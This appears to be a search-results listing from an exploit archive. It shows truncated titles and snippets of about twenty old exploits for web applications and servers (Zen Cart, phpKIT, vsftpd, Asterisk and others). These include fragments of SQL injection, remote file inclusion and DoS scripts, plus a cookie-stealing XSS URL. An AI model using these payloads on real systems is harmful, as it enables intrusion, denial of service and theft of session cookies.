635 matches found
Zen Cart 1.3.8 Remote Code Execution Exploit
No description provided by source. !/usr/bin/php ?php ------- Zen Cart 1.3.8 Remote Code Execution http://www.zen-cart.com/ Zen Cart Ecommerce - putting the dream of server rooting within reach of anyone! A new version 1.3.8a is avaible on http://www.zen-cart.com/ BlackH : errorreportingEALL ^...
TinyButStrong 3.4.0 File Disclosure
' -. ,'-. ,' ' .--.===.--. ' .%%. .. -'=' /%%/ \ |%%/ local | |%%| ||.,-. %%| file |/ %\ // ' %\ include // , -'-. ,-. %\ /' ' |/' -=--=' ' -=-=- .' ||/ |||/ o o -=-=-=-==-=-=-=-=-=-=-=+-oooO---------+-=-=-=-=-=-=- | | | | script:TinyButStrong version 3.4.0...
Dokeos LMS 1.8.5 PHP Code Injection
striptags$el2'; 108. break; 109. case SORTSTRING : 110. $comparefunction = 'strnatcmpTableSort::orderingstringstriptags$el1...
Web hang horse works completely analysis-vulnerability warning-the black bar safety net
Typically, the Microsoft Internet work process is described as follows: ! As a Web hang horse spread, and its object is the Trojan downloaded to the user's local, and a step executed, when the Trojan get executed, it means that there will be more Trojans to be downloaded, and further is performed...
Oracle TimesTen - Remote Format String (PoC)
Oracle TimesTen - Remote Format String PoC !/usr/bin/python """ Oracle TimesTen Remote Format String Fixed in Oracle CPU Jan 2009 Copyright c Joxean Koret 2009 """ import sys import socket def testPochost: s = socket.socketsocket.AFINET, socket.SOCKSTREAM s.connecthost, 17000 buf = "GET...
Check New 4.52 (findoffice.php search) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl -w ===================================================================== Check New 4.52 findoffice.php search Remote SQL Injection Exploit =====================================================================...
communitycms-rfi.txt
Persian Boys Hacking Team -:- 2008 -:- IRAN + - + - discovered by N3TR00T3R at Y! dot com + - communitycms-0.1 Remote File Includion + - download :http://sourceforge.net/project/showf...roupid=223968 + - sp tnx : Sp3shial,Veroonic4,GodMasterhacker,areptil,Ciph 3r,shayancmd +...
vsftpd 2.0.5 - deny_file Option Remote Denial of Service (2)
vsftpd 2.0.5 - denyfile Option Remote Denial of Service 2 source: https://www.securityfocus.com/bid/29322/info The 'vsftpd' FTP server is prone to a remote denial-of-service vulnerability because it fails to free allocated memory. Successfully exploiting this issue allows remote attackers to cras...
ccmail-insecure.txt
--==+================================================================================+==-- --==+ CcMail = 1.0.1 Insecure Cookie Handling +==-- --==+================================================================================+==-- Discovered By: t0pP8uZz Discovered On: 11 April 2008 Script...
phpTournois <= G4 Remote File Upload/Code Execution Exploit
No description provided by source. ?php / Name: phpTournois = G4 Remote File Upload/Code Execution Exploit Credits: Charles "real" F. charlesfolathotmail.fr Date: 04-06-08 - Remote Code Execution - Remote File Upload When testing if we are admin, phpTournois checks if $grade'a'=='a'. But when we...
Domain Trader v2.0 Xss Vulnerable
title : Domain Trader v2.0 Xss Vulnerable Author : CrackersChild cybermilitan at hotmail dot com Exploit : www.site.com/script/catalog.php?mode=viewcategory&id=scriptalertdocument.cookie/script Dork : Powered by Domain Trader v2.0 - Domain parking software Greetz : www.biyofrm.com &...
PHPKIT 1.6.4pl1 - article.php SQL Injection
PHPKIT 1.6.4pl1 - article.php SQL Injection !/usr/bin/perl Vulnerability found & exploit written by $h4d0wl33t shadowleet Contact: [email protected] Phpkit 1.6.4pl1 Non Public Exploit by $hadowleet, Description: Vulnerability in file pkinc/public/article.php On line 71:...
uph0702.py.txt
!C:\python25\python25.exe """ Advisory : UPH-07-02 mt-dappd/Firefly media server remote DoS Discovered by nnp http://www.unprotectedhex.com """ import sys import socket import time if lensys.argv != 3: sys.exit-1 killmsg = """GET /xml-rpc?method=stats HTTP/1.1\r\n Authorization:\r\n\r\n""" host =...
KwsPHP 1.0 Module Newsletter - SQL Injection
Script....................................: KwsPHP ver 1.0 Newsletter Module Script Site...........................: http://www.kwsphp.org Vulnerability........................: Remote SQL injection Exploit Access..................................: Remote...
Mail Machine <= 3.989 Local File Inclusion Exploit
No description provided by source. !/usr/bin/perl -w Mail Machine Local File Include Exploit Vuln. v3.980, v3.985, v3.987, v3.988 and v3.989 ! Application homepage : http://www.mikesworld.net/mailmachine.shtml ! Author : H4 / Team XPK ! Contact : [email protected]...
Zomplog 3.8 - 'mp3playlist.php' SQL Injection
!/usr/bin/python ---------------------------------------------------------------------------------- The sql injection : /zomplog-3.8/plugins/mp3playlist/mp3playlist.php?speler=sql I've code a sploit for the fun x ----------------------------------------------------------------------------------...
AlstraSoft Template Seller Pro <= 3.25 Remote Code Execution Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo " AlstraSoft Template Seller Pro = 3.25 Remote Code Execution Exploit by BlackHawk [email protected] http://itablackhawk.altervista.org Thanks to rgod for the php code and Marty for the Love "; if $argc4 echo "Usage:...
mxBB Module MX Shotcast 1.0 RC2 (getinfo1.php) RFI Exploit
Exploit for unknown platform in category web applications ========================================================== mxBB Module MX Shotcast 1.0 RC2 getinfo1.php RFI Exploit ========================================================== !/usr/bin/perl mxBB Module MX Shotcast 1.0 RC2 getinfo1.php Remo...
Picture-Engine <= 1.2.0 (wall.php cat) Remote SQL Injection Exploit
No description provided by source. ? / Autor: Kacper Contact: [email protected] Homepage: http://www.rahim.webd.pl/ Irc: irc.milw0rm.com:6667 devilteam Pozdro dla wszystkich z kanalu IRC oraz forum DEVIL TEAM. Picture-Engine = V1.2.0 Remote SQL Injection Exploit script homepage/download/demo:...
Asterisk <= 1.2.16 / 1.4.1 SIP INVITE Remote Denial of Service Exploit
No description provided by source. !/usr/bin/perl perl asterisk-Invite.pl 192.168.1.104 5060 userX 192.168.1.2 5060 userY use IO::Socket::INET; die "Usage $0 dst dport dusername src sport susername" unless $ARGV5; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0;...